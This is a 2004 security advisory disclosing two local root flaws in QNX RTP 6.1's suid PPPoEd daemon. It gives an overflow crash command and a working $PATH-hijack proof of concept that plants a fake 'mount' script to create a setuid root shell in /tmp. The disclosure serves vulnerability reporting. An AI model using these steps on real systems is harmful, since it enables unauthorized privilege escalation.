*** rfdslabs security advisory ***

Title: QNX PPPoEd local root vulnerabilities [RLSA_01-2004]

Versions: QNX RTP 6.1 (possibly others)

Vendor: http://www.qnx.com

Date: 02 Sep 2004

Author: Julio Cesar Fort <julio at rfdslabs com br>

1. Introduction

PPPoEd daemon is used to provide a PPPoE connection, such as DSL, for QNX

users. More information can be found at QNX Developer Support:

www.qnx.com/developers/docs/momentics621_docs/neutrino/utilities/p/pppoe
d.html

There are two vulnerabilities that can lead to local root access.

2. Details

#1 Buffer overflow

PPPoEd has multiple problems with bounds checking. Almost every flag with

oversized length crashes PPPoEd, overwriting memory. Once it is by default suid

owned by root, an attacker can execute arbitrary instructions to elevate privi-

ledges. Above is an example to cause this overflow.

$ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)

$ /usr/bin/pppoed -F $overflow256

Memory fault (core dumped)

$ /usr/bin/pppoed service=$overflow256

Memory fault (core dumped)

...

And it repeats in 'name', 'en', 'upscript', 'downscript', 'retries', 'timeout',

'scriptdetach', 'noscript', 'nodetach', 'remote_mac' and 'local_mac' flags.

#2 Old $PATH trick

PPPoEd calls "mount -T io-net npm-pppoe.so" without full path. If someone

wants to cheat PPPoEd and tricks it to execute his own malicious code, it can

be possible modifying $PATH. With this modification, '/usr/sbin/pppoed' will

simple execute 'mount' (hostile code) looking for it at /tmp directory.

Simple proof-of-concept steps are above.

$ cd /tmp

$ cat << _EOF_ > mount

#!/bin/sh

cp /bin/sh /tmp/rootshell

chown root /tmp/rootshell

chmod 4777 /tmp/rootshell

echo "Here comes your root shell"

_EOF_

$ chmod 755 mount

$ export PATH=/tmp:$PATH

$ /usr/sbin/pppoed

$ ls -la /tmp

-rwxr-xr-x 1 sandimas users 88 Aug 25 2004 mount

-rwsrwxrwx 1 root 100 153384 Jun 22 2001 /tmp/rootshell

$ /tmp/rootshell

Here comes your root shell

# uname -a

QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86

#

3. Solution

rfdslabs tried to contact QNX Software Systems but no security staff e-mail

was found. No solution yet.

4. Timeline

27 Aug 2004: Vulnerabilities detected;

28 Aug - 01 Sep: Looking for QNX security staff contact e-mail: no success;

02 Sep 2004: Advisory written and sent to security mail-lists.

Thanks to DataStorm Technologies, Lucien Rocha and everyone at rfdslabs.

www.rfdslabs.com.br - computers, sex, humand mind and more

Recife, PE, Brazil

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